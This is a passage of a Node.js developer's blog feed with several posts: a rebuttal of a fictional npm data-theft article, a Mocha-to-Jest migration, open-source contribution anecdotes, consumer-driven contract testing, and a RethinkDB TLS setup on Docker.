&lt;p&gt;Anyway, you should use a tool &lt;a href=&quot;https://github.com/awslabs/git-secrets&quot;&gt;git-secrets&lt;/a&gt; to help ensure that you don’t accidentally commit secrets like passwords and API keys or tokens to git.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;npm install&lt;/em&gt; &lt;a href=&quot;https://github.com/awslabs/git-secrets&quot;&gt;&lt;em&gt;git-secrets&lt;/em&gt;&lt;/a&gt; &lt;em&gt;pre-git&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;further-reading&quot;&gt;Further Reading&lt;/h3&gt;
&lt;p&gt;If you’re interested in strengthening your skill around Node.js Security practices and avoiding Node.js pitfalls in production I invite you to &lt;a href=&quot;http://leanpub.com/nodejssecurity&quot;&gt;grab a copy of the book I wrote&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://leanpub.com/nodejssecurity&quot; title=&quot;https://leanpub.com/nodejssecurity&quot;&gt;&lt;strong&gt;Essential Node.js Security&lt;/strong&gt;&lt;br&gt;
_Hands-on and abundant with source code for a practical guide to Securing Node.js web applications.Node.js Secure Code…_leanpub.com&lt;/a&gt;&lt;a href=&quot;https://leanpub.com/nodejssecurity&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Also, you can find a gist of security best practices I helped contribute to in the popular &lt;a href=&quot;https://github.com/i0natan/nodebestpractices/tree/security-best-practices-section&quot;&gt;Node.js Best Practices GitHub repo&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/i0natan/nodebestpractices/tree/security-best-practices-section&quot; title=&quot;https://github.com/i0natan/nodebestpractices/tree/security-best-practices-section&quot;&gt;&lt;strong&gt;i0natan/nodebestpractices&lt;/strong&gt;&lt;br&gt;
_nodebestpractices - The largest Node.JS best practices list. Curated from the top ranked articles and always updated_github.com&lt;/a&gt;&lt;a href=&quot;https://github.com/i0natan/nodebestpractices/tree/security-best-practices-section&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Can’t wait to see your own love poems on twitter!&lt;br&gt;
ping me on &lt;a href=&quot;https://twitter.com/liran_tal&quot;&gt;https://twitter.com/liran_tal&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Happy &amp;#x26; Secure Valentine’s day,&lt;br&gt;
Liran 💚&lt;/p&gt;</content:encoded></item><item><title>Terrified of NPM security? please don’t blindly follow the panic</title><link>https://lirantal.com/blog/npm-security-please-dont-blindly-follow-the-panic-f724871ba1a8/</link><guid>https://lirantal.com/blog/npm-security-please-dont-blindly-follow-the-panic-f724871ba1a8/</guid><description>So you too panicked over security in the npm repository due to a recent blog post?</description><pubDate>Sun, 07 Jan 2018 23:41:21 GMT</pubDate><content:encoded>&lt;p&gt;So you too panicked over security in the npm repository due to a recent blog post?&lt;/p&gt;
&lt;p&gt;This one in particular:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5&quot; title=&quot;https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5&quot;&gt;&lt;strong&gt;I’m harvesting credit card numbers and passwords from your site. Here’s how.&lt;/strong&gt;&lt;br&gt;
_The following is a true story. Or maybe it’s just based on a true story. Perhaps it’s not true at all._hackernoon.com&lt;/a&gt;&lt;a href=&quot;https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;T̶h̶a̶t̶ ̶p̶o̶s̶t̶ ̶i̶s̶ ̶a̶ ̶t̶r̶o̶l̶l̶ ̶a̶t̶ ̶b̶e̶s̶t̶.̶ ̶L̶e̶t̶ ̶m̶e̶ ̶t̶e̶l̶l̶ ̶y̶o̶u̶ ̶w̶h̶y̶.̶Ok, that’s mostly possible, and, yes be cautious about it, but let’s be clear it’s not npm’s fault, and definitely nothing new.&lt;/p&gt;
&lt;p&gt;Let’s understand why that blog post is a c̶o̶m̶p̶l̶e̶t̶e̶ fuss, wrongly putting npmjs in a bad light, and causing panic for no reason.&lt;/p&gt;
&lt;h3 id=&quot;the-premise-of-thetrojan&quot;&gt;The premise of the trojan&lt;/h3&gt;
&lt;p&gt;The author describes his malicious javascript code which is bundled into a website and steals data.&lt;/p&gt;
&lt;p&gt;In order for the author to actually get other sites data than its own, he recognizes that he needs to distribute it somehow to other websites, and chooses npm to do it.&lt;/p&gt;
&lt;p&gt;At this point, nothing really new, and nothing surprising.&lt;br&gt;
Anyone can just push something malicious anywhere they want, whether it’s npmjs, python’s pipy registry, or whatever.&lt;/p&gt;
&lt;p&gt;Still, the fact that your package is on the registry doesn’t count for anything, just like the fact you built a website doesn’t mean people will get there.&lt;/p&gt;
&lt;p&gt;The real problem is how do you distribute that trojan to site owners?&lt;/p&gt;
&lt;p&gt;The author recognizes the problem and takes the path of opening Pull Requests to GitHub projects, while sneakingly suggesting (adding) his own malicious package to the rest of the dependencies in the package.json file.&lt;/p&gt;
&lt;p&gt;That’s it.&lt;br&gt;
That’s the golden hack right there.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;ENTIRE PREMISE&lt;/strong&gt; of the trojan is exactly that. No magic.&lt;/p&gt;
&lt;p&gt;No remote code execution on npmjs servers.&lt;br&gt;
No wu-ftpd remote exploit.&lt;br&gt;
No npmjs remote meltdown or any other 0-day attack.&lt;br&gt;
The author also didn’t phone npm support line and whistled a 2600hz to the earpiece.&lt;/p&gt;
&lt;h4 id=&quot;let-merephrase&quot;&gt;&lt;strong&gt;Let me rephrase&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;The way that the malicious package’s author is able to distribute his trojan is by convincing other projects to use this dependency.&lt;/p&gt;
&lt;p&gt;Amazing. Let me sit down to relax a bit and grasp this innovative attack vector.&lt;/p&gt;
&lt;p&gt;So without a doubt, the author was gifted with incredible social engineering skills, and if that’s the case I can only step back and recommend:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;consider a career in sales or investments since you obviously mastered the elevator pitch in those PRs.&lt;/li&gt;
&lt;li&gt;consider reaching out to Kevin Mitnick so you guys can plan the computer heist of the century.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;how-is-npmrelated&quot;&gt;How is npm related?&lt;/h3&gt;
&lt;p&gt;To be honest, I don’t know.&lt;/p&gt;
&lt;p&gt;Beats me why someone would want to inspire great dread into our JavaScript community.&lt;/p&gt;
&lt;p&gt;Why npm is the scape-goat? Let’s consider the following analogies:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;I am a linux kernel contributor&lt;/strong&gt;. I submitted my patch, fairly big one into the project and it got merged. Ubuntu is later on released with this new kernel version that includes my backdoor. &lt;br&gt;
Would you go blaming and wrecking havoc on Ubuntu for the fact it distributed a buggy or insecure version of the Linux kernel?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;I am a wordpress contributor&lt;/strong&gt;. I submitted a patch or feature to a popular package which made its way into the 30% of the top 10 million websites. Would you now blame wordpress?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If someone found a flaw in the DNS protocol&lt;/strong&gt;, would you go blame and shout “insecure insecure” at the millions of routers in the world which sole job is to distribute DNS traffic?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I am running out of analogies, but I really hope you get the point.&lt;/p&gt;
&lt;p&gt;The problem is not npm. They may have issues, but this case is definitely not directly related to npm.&lt;/p&gt;
&lt;h3 id=&quot;key-defense-arguments&quot;&gt;Key defense arguments&lt;/h3&gt;
&lt;p&gt;Seems silly for me to even relate to these points on the blog post, but hopefully I’ll at least teach something new to someone:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;- grabbing the cookie through document.cookie&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For more than a decade now, cookies have this flag called &lt;em&gt;httpOnly&lt;/em&gt;, which sole purpose is to defeat XSS attacks and malicious JavaScript code from accessing your browser cookie.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;- The author claims his malicious code is hidden from pen-testers because they don’t work 7am-7pm hours&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I… don’t even know how to respond to that. I hope the author understands this little thing about time — it’s relative.&lt;/p&gt;
&lt;p&gt;Also, FYI, ops staff operate in a follow-the-sun model, which means no one is ever asleep and there’s always someone on the watch.&lt;/p&gt;
&lt;p&gt;I mean seriously, it’s like you’d say the police only works at night, because who’s gonna commit crime during the day?&lt;/p&gt;
&lt;h3 id=&quot;do-we-understand-opensource&quot;&gt;Do we understand open source?&lt;/h3&gt;
&lt;p&gt;I talk to all of us when I point this question — do you understand you work within an open source community? Do you understand what it means?&lt;/p&gt;
&lt;p&gt;Open source is built on trust. On community, communication and key values that makes it this incredible and I love it for all that it is.&lt;/p&gt;
&lt;p&gt;Can an open source project have security vulnerabilities? &lt;strong&gt;Yes&lt;/strong&gt;&lt;br&gt;
Can an open source project have performance problems that could incur a potential loss of millions on Christmas eve? &lt;strong&gt;Yes&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;As &lt;a href=&quot;https://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar&quot;&gt;Eric Raymond&lt;/a&gt; elegantly put it in his paper when referring to Linus’s take on open source being vulnerable to exploitation:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;given enough eyeballs, all bugs are shallow&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When you embrace open source, you also embrace the risk it brings with it. Whether it is bad code, malicious code or unmaintained code.&lt;/p&gt;
&lt;p&gt;But that responsibility is entirely up to you. You are responsible to perform a due-diligence on the packages you install from npm. It’s not npm’s job to code review every single line of code for you. npm in that take is simply a supply chain or delivery mechanism.&lt;/p&gt;
&lt;h3 id=&quot;epilogue&quot;&gt;Epilogue&lt;/h3&gt;
&lt;p&gt;I recognize the blog post was made in parody, but reactions and comments I read and receive are of people taking this way too seriously to the point of panic.&lt;/p&gt;
&lt;p&gt;I have to honestly share with you — I got quite depressed seeing all the buzz a seemingly bullying article has been making in the name of npm and security in general.&lt;/p&gt;
&lt;p&gt;I’m a security activist, author of a Node.js Security title, regular committer to an OWASP Node.js project, and have spoken regularly about Node.js Security in several local and international conferences, including Israel’s AppSec.&lt;/p&gt;
&lt;p&gt;Why am I telling you all that?&lt;br&gt;
because I am all in favor of raising awareness for web application security (or infosec in general), I truly am. but I feel bad for npm and the community being a punching bag for no reason.&lt;/p&gt;
&lt;p&gt;With all due respect to David Gilbertson, I really don’t know him beyond his blog post and I’m sure he had no bad intentions, as he clearly states his post is fictional.&lt;/p&gt;
&lt;p&gt;Still, I believe we can give a readers’s intelligence a little bit more credit with a more constructive post about dangers in web security (or npm) without scaring them. This is simply not how we build trust in the security world.&lt;/p&gt;
&lt;p&gt;I covered many security concerns related to Node.js and npm, some of which are very much like the blog post premise, as you can learn from this talk:&lt;/p&gt;
&lt;p&gt;But instead of fear, I would like to us to engage in constructive discussions on how we can make things better.&lt;/p&gt;
&lt;p&gt;No marketing plug in this post. If there will be interest, I will be happy to share in a follow-up what tools and processes exist today that we can use in our projects, open source or not, to better secure them and address many security concerns, including malicious packages as the original post referred to.&lt;/p&gt;</content:encoded></item><item><title>Migrating a Mocha project to Jest Test Framework</title><link>https://lirantal.com/blog/migrating-a-mocha-project-to-jest-test-framework-76d13d76685/</link><guid>https://lirantal.com/blog/migrating-a-mocha-project-to-jest-test-framework-76d13d76685/</guid><description>I like mocha just like the next guy, but sometimes it’s time to move on. We’re talking about iced coffee, right?</description><pubDate>Sun, 26 Nov 2017 11:06:20 GMT</pubDate><content:encoded>&lt;p&gt;I like mocha just like the next guy, but sometimes it’s time to move on. We’re talking about iced coffee, right?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__ojE2ZDk9__s3QqPDOp9WcWQ.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-why&quot;&gt;The Why&lt;/h3&gt;
&lt;p&gt;So I actually had a chance to take the &lt;a href=&quot;https://facebook.github.io/jest/&quot;&gt;Jest testing framework&lt;/a&gt; for a drive in a side-project that abstracts some Amazon AWS S3 functions: &lt;a href=&quot;https://github.com/lirantal/aws-s3-utils&quot;&gt;https://github.com/lirantal/aws-s3-utils&lt;/a&gt;, but this story is about migrating an existing project to Jest.&lt;/p&gt;
&lt;p&gt;The story is about an old library I built that converts a Linux CRON scheduling notation to Quartz format. I named it in the most creative way I could: &lt;strong&gt;&lt;em&gt;cron-to-quartz&lt;/em&gt;&lt;/strong&gt;: &lt;a href=&quot;https://github.com/lirantal/cron-to-quartz&quot;&gt;https://github.com/lirantal/cron-to-quartz&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;fun fact #1 — cron-to-quartz is the first, and only library on npm that does this conversion!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I used &lt;strong&gt;&lt;em&gt;mocha&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;should.js&lt;/em&gt;&lt;/strong&gt; for tests, and I also cared to integrate security through tools like Snyk to watch over dependencies which might introduce vulnerable code so I know to upgrade or patch them.&lt;/p&gt;
&lt;p&gt;If you add a project badge on your README it’s easy to notice:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__D__mXtUYNkcOKLzU4.png&quot; alt=&quot;&quot;&gt;
&lt;img src=&quot;/images/blog/1__cNa4S35vq10aUAascdxH0g.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The vulnerability is coming from &lt;strong&gt;&lt;em&gt;mocha&lt;/em&gt;&lt;/strong&gt;, and one could argue that it’s just a testing framework and doesn’t ship out to users.&lt;/p&gt;
&lt;p&gt;That’s true, but it bothers me none-the-less and I’m crazy like that.&lt;/p&gt;
&lt;p&gt;You can read more about this vulnerability: &lt;a href=&quot;https://snyk.io/vuln/npm:growl:20160721&quot;&gt;https://snyk.io/vuln/npm:growl:20160721&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-big-migration&quot;&gt;The Big Migration&lt;/h3&gt;
&lt;p&gt;Jest makes it easy to migrate away from test runners like mocha, or from using assertion libraries like should.js. It does this by employing codemods which are amazing but deserve their own post. So in short they work like babel — reading your test code and converting it to Jest code.&lt;/p&gt;
&lt;h3 id=&quot;codemods&quot;&gt;Codemods&lt;/h3&gt;
&lt;p&gt;Install the &lt;strong&gt;&lt;em&gt;jest-codemods&lt;/em&gt;&lt;/strong&gt; library as a global tool that you can run on any project or codebase:&lt;/p&gt;
&lt;p&gt;yarn global add jest-codemods&lt;/p&gt;
&lt;p&gt;When you execute the &lt;strong&gt;&lt;em&gt;jest-codemods&lt;/em&gt;&lt;/strong&gt; utility it will interactively prompt you to select which frameworks you are using so it can run the correct combination of codemods under the hood to migrate your project:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__DW7azXDE8JV5dB8l.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It’s possible to do a dry run of the migration where you aren’t actually changing your codebase and you can survey how the process works out and what manual intervention you possibly need beyond the codemods automatic migration.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__8AIbjaCNApvPs30H.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Looks good…&lt;/p&gt;
&lt;h3 id=&quot;not-all-roses-andrainbows&quot;&gt;Not all roses and rainbows&lt;/h3&gt;
&lt;p&gt;The conversion worked almost perfectly except the AST plugin didn’t handle chained should.js assertions properly so it ended up with expect assertions that aren’t valid and all the test actually failed.&lt;/p&gt;
&lt;p&gt;It’s not that bad either.&lt;br&gt;
I quickly updated the existing should.js test code to refactor out the chained assertions:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__mzjzyugpLQyZCumJluUeig.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then running the codemod conversion and it’s done!&lt;/p&gt;
&lt;p&gt;From Mocha to Jest in seconds.&lt;/p&gt;
&lt;p&gt;At this point on as simple as removing mocha and should.js dependencies and replacing them with jest and updating the project accordingly.&lt;/p&gt;
&lt;h3 id=&quot;a-little-jem-forclosing&quot;&gt;A Little Jem For Closing&lt;/h3&gt;
&lt;p&gt;If you reached this far I thought I’d treat you with a little gem for closing:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fun fact #2 — did you know there’s an actual movie titled &lt;a href=&quot;http://www.imdb.com/title/tt3231264/?ref_=fn_tt_tt_5&quot;&gt;Mocha &amp;#x26; Chai&lt;/a&gt;?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__YIwVq4dlLk7rgHp9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Can’t wait for your comments with feedback on the movie!&lt;/p&gt;</content:encoded></item><item><title>🔨 The long over-due commit of Open Source</title><link>https://lirantal.com/blog/the-long-over-due-commit-of-open-source-a08337438a29/</link><guid>https://lirantal.com/blog/the-long-over-due-commit-of-open-source-a08337438a29/</guid><description>This is a story of patience in Open Source, where every bug, every Pull-Request gets attention.</description><pubDate>Mon, 09 Oct 2017 05:58:17 GMT</pubDate><content:encoded>&lt;p&gt;This is a story of patience in Open Source, where every bug, every Pull-Request gets attention.&lt;/p&gt;
&lt;p&gt;I discovered &lt;a href=&quot;https://github.com/Freeboard/freeboard&quot;&gt;freeboard&lt;/a&gt;, an opensource dashboard for Visual UI Widgets.&lt;br&gt;
I needed to use it for a Hackathon we were performing in my team last year.&lt;/p&gt;
&lt;p&gt;The framework is very cool and mature, the creators of freeboard even have a SaaS offering for anyone to sign-up and share dashboards. Getting the product to work on your own computer is easy, but for new comers the README documentation is lacking.&lt;/p&gt;
&lt;p&gt;So &lt;a href=&quot;https://github.com/Freeboard/freeboard/pull/129&quot;&gt;here’s my Pull-Request&lt;/a&gt; to fix that, and ease new-comers to the project.&lt;br&gt;
Yes, you’re reading right — this PR is from last year! 7 months ago…&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__GHZRJDJRseq6v8n5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Some people commented on the PR, but only months later this was reviewed and merged to freeboard’s mainstream branch:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__HQFFIkttsMtRvhE0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;So don’t give up. Do your best to improve software wherever it is.&lt;br&gt;
As &lt;a href=&quot;https://en.wikipedia.org/wiki/Linus%27s_Law&quot;&gt;Eric Raymond says&lt;/a&gt; and attributes Linus:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“given enough eyeballs, all &lt;a href=&quot;https://en.wikipedia.org/wiki/Software_bug&quot;&gt;bugs&lt;/a&gt; are shallow”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So what open source projects have you been working on lately?&lt;/p&gt;</content:encoded></item><item><title>The long over-due commit of Open Source</title><link>https://lirantal.com/blog/2017-10-09_the-long-overdue-commit-of-opensource/</link><guid>https://lirantal.com/blog/2017-10-09_the-long-overdue-commit-of-opensource/</guid><description>This is a story of patience in Open Source, where every bug, every Pull-Request gets attention.</description><pubDate>Mon, 09 Oct 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is a story of patience in Open Source, where every bug, every Pull-Request gets attention.&lt;/p&gt;
&lt;p&gt;I discovered &lt;a href=&quot;https://github.com/Freeboard/freeboard&quot;&gt;freeboard&lt;/a&gt;, an opensource dashboard for Visual UI Widgets. I needed to use it for a Hackathon we were performing in my team last year.&lt;/p&gt;
&lt;p&gt;The framework is very cool and mature, the creators of freeboard even have a SaaS offering for anyone to sign-up and share dashboards. Getting the product to work on your own computer is easy, but for new comers the README documentation is lacking.&lt;/p&gt;
&lt;p&gt;So &lt;a href=&quot;https://github.com/Freeboard/freeboard/pull/129&quot;&gt;here’s my Pull-Request&lt;/a&gt; to fix that, and ease new-comers to the project.
Yes, you’re reading right, this PR is from last year! 7 months ago…&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0*GHZRJDJRseq6v8n5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Some people commented on the PR, but only months later this was reviewed and merged to freeboard’s mainstream branch:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0*HQFFIkttsMtRvhE0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;So don’t give up. Do your best to improve software wherever it is.&lt;/p&gt;
&lt;p&gt;As Eric Raymond says and attributes Linus:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“given enough eyeballs, all bugs are shallow”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So what open source projects have you been working on lately?&lt;/p&gt;
&lt;p&gt;p.s.
this is a re-publishing of an old post, but I always find it relevant and motivates developers to get into open source.&lt;/p&gt;</content:encoded></item><item><title>Scalable Integration Testing for Microservices Deployments</title><link>https://lirantal.com/blog/scalable-integration-testing-for-microservices-deployments-e03e29dd1280/</link><guid>https://lirantal.com/blog/scalable-integration-testing-for-microservices-deployments-e03e29dd1280/</guid><description>Many jumped the gun on microservices, and they are ubiquitous today more than ever for implementing service oriented architectures…</description><pubDate>Tue, 19 Sep 2017 21:00:17 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/blog/1__oYysSq6bbdGNN__fYYXVPWw.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Many jumped the gun on microservices, and they are ubiquitous today more than ever for implementing service oriented architectures. Moreover, tools and ecosystems like Docker and Kubernetes for container orchestration are driving high adoption for microservices due to good support for orchestration, fast and consistent deployments among other reasons.&lt;/p&gt;
&lt;p&gt;If your deployment environment is quite small, lean and CI runs fast in an integrated test environment then chances are that you don’t feel the pain… yet.&lt;/p&gt;
&lt;h3 id=&quot;microservicesthe-more-themerrier&quot;&gt;Microservices — The More The Merrier?&lt;/h3&gt;
&lt;p&gt;When your deployment is dependent on many microservices, some of which might turnout to be complicated to deploy, then you feel the pain. Setting up the integrated environment so you can run tests and verify your service works well with others is a challenging task and potentially hinder CI with slowness.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;docker-compose&lt;/em&gt; and similar tools help in making the job easier, but it doesn’t necessarily scale well for CI when you have tens or hundreds of services, or when services depend on large databases with large migrations backlog, all of which need to be spun up and down during your CI. Your microservice dependencies may have their own service or third-party dependencies, and they evolve and translate into more setup, and changes in deployment which again contributes to the overall problem of maintaining a fully deployed environment for CI.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__wtqIkFaWjQttSLDs.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;consumer-testing-to-therescue&quot;&gt;Consumer Testing To The Rescue&lt;/h3&gt;
&lt;p&gt;Instead of deploying with all of your service dependencies you would instead rely on verifying an API contract from both the consumer end (you), and the provider end (the service you depend upon)&lt;/p&gt;
&lt;p&gt;With the &lt;strong&gt;Consumer-Driven Contracts&lt;/strong&gt; pattern employed, both parties of an API, referred to as consumer and provider, are setting an agreed-upon API contract which they both need to adhere in their testing.&lt;/p&gt;
&lt;p&gt;Probably mocking services isn’t news for you, so practically for the consumer this means to set the API contract which will essentially be used as a mocked API service during CI for consumer tests, there-fore eliminating the need for bringing up many service dependencies.&lt;/p&gt;
&lt;p&gt;The provider is using the API contract output that the consumer has already created, and executes tests in its own CI, assuring that it didn’t break any API contract for consumers.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;this pattern only works well if your teams are collaborating together and aren’t silo’ed. yes, people need to talk, it’s human nature.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;some-of-the-benefits-with-consumer-driven-contracts&quot;&gt;Some of the benefits with Consumer-Driven Contracts:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Setting the API as contract, in advance, even if your provider might not exist or may not have an API developed yet.&lt;/li&gt;
&lt;li&gt;Expectations are defined and set up-front.&lt;/li&gt;
&lt;li&gt;Easy to test, fast to run, lean infrastructure setup.&lt;/li&gt;
&lt;li&gt;Improve collaboration with teams&lt;/li&gt;
&lt;li&gt;When the provider breaks your contract they know about it instantly because they verify their API contract in their CI.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__HbATwl__Vge__1x__lH.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The picture depicts the relationship between the consumer and provider, as illustrated by Andy Kelk in his &lt;a href=&quot;https://www.andykelk.net/tech/consumer-driven-contracts-with-pact-and-php&quot;&gt;blog post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the picture, a reference to an open source implementation referred to as Pact which we will discuss in a follow-up post on how to do integration testing with the Pact.js project for Node.js microservices.&lt;/p&gt;
&lt;p&gt;The Follow-up Post:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://itnext.io/node-js-integration-testing-with-pact-js-1a2ea8aa3116&quot; title=&quot;https://itnext.io/node-js-integration-testing-with-pact-js-1a2ea8aa3116&quot;&gt;&lt;strong&gt;Node.js — Integration Testing with Pact.js&lt;/strong&gt;&lt;br&gt;
_In a previous article we reviewed how Consumer-Driven Contracts (CDC) help with integration testing in an environment…_itnext.io&lt;/a&gt;&lt;a href=&quot;https://itnext.io/node-js-integration-testing-with-pact-js-1a2ea8aa3116&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Securing a Node.js + RethinkDB + TLS setup on Docker containers</title><link>https://lirantal.com/blog/securing-a-node-js-rethinkdb-tls-setup-on-docker-containers-84413d32dd39/</link><guid>https://lirantal.com/blog/securing-a-node-js-rethinkdb-tls-setup-on-docker-containers-84413d32dd39/</guid><description>Intro</description><pubDate>Thu, 10 Aug 2017 15:38:52 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/blog/1__C64ZrPVIob7heHW9At28Dw.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;intro&quot;&gt;Intro&lt;/h3&gt;
&lt;p&gt;We use RethinkDB at work across different projects. It isn’t used for any sort of big-data applications, but rather as a NoSQL database, which spices things up with real-time updates, and relational tables support.&lt;/p&gt;
&lt;h3 id=&quot;nodejs-ecosystem&quot;&gt;Node.js Ecosystem&lt;/h3&gt;
&lt;p&gt;RethinkDB features an officially supported Node.js driver, as well as a community-maintained driver as well called &lt;strong&gt;rethinkdbdash&lt;/strong&gt; which is promises-based, and provides connection pooling.&lt;/p&gt;
&lt;p&gt;There is also a database migration tool called &lt;strong&gt;rethinkdb-migrate&lt;/strong&gt; that aids in managing database changes such as schema changes, database seeding, tear up and tear down capabilities.&lt;/p&gt;
&lt;h3 id=&quot;rethinkdb-dockersetup&quot;&gt;RethinkDB Docker Setup&lt;/h3&gt;
&lt;p&gt;We’re going to use the official RethinkDB docker image from the docker hub and make use of &lt;strong&gt;docker-compose.yml&lt;/strong&gt; to spin it up (later on you can add additional services to this setup).&lt;/p&gt;
&lt;p&gt;A fair example for &lt;strong&gt;docker-compose.yml&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;version: ‘2’&lt;/p&gt;
&lt;p&gt;services:&lt;/p&gt;
&lt;p&gt;rethinkdb:&lt;br&gt;
image: rethinkdb:latest&lt;br&gt;
ports:&lt;br&gt;
- “8181:8080”&lt;br&gt;
- “48015:28015”&lt;br&gt;
volumes:&lt;br&gt;
- ./tls:/tls&lt;/p&gt;
&lt;h3 id=&quot;rethinkdb-sslsetup&quot;&gt;RethinkDB SSL Setup&lt;/h3&gt;
&lt;p&gt;The compose file mounts a local &lt;strong&gt;tls&lt;/strong&gt; directory as a mapped volume inside the container. The &lt;strong&gt;tls/&lt;/strong&gt; directory will contain our cert files, and the compose file is reflecting this.&lt;/p&gt;
&lt;h3 id=&quot;certificates&quot;&gt;Certificates&lt;/h3&gt;
&lt;p&gt;To setup a secure connection we need to facilitate it using certificates so an initial technical step:&lt;/p&gt;
&lt;p&gt;cd tls/&lt;/p&gt;
&lt;p&gt;openssl genrsa -out key.pem 2048&lt;/p&gt;
&lt;p&gt;openssl req -new -x509 -key key.pem -out cert.pem -days 3650 -subj ‘/CN=domain.com’&lt;/p&gt;
&lt;p&gt;cp cert.pem ca.pem&lt;/p&gt;
&lt;p&gt;Important notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The canonical name, which is the CN value is set to the domain to which the RethinkDB driver will connect to. Set here to domain.com as an example, &lt;strong&gt;in your local development environment should probably be set to just localhost&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Copying the cert to the certificate authority is actually an extra step required for slaves joining the cluster, so this isn’t mandatory.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;start-rethinkdb-withssl&quot;&gt;Start RethinkDB with SSL&lt;/h3&gt;
&lt;p&gt;Update the compose file to include a &lt;em&gt;command&lt;/em&gt; configuration that starts the RethinkDB process with all the required SSL configuration&lt;/p&gt;
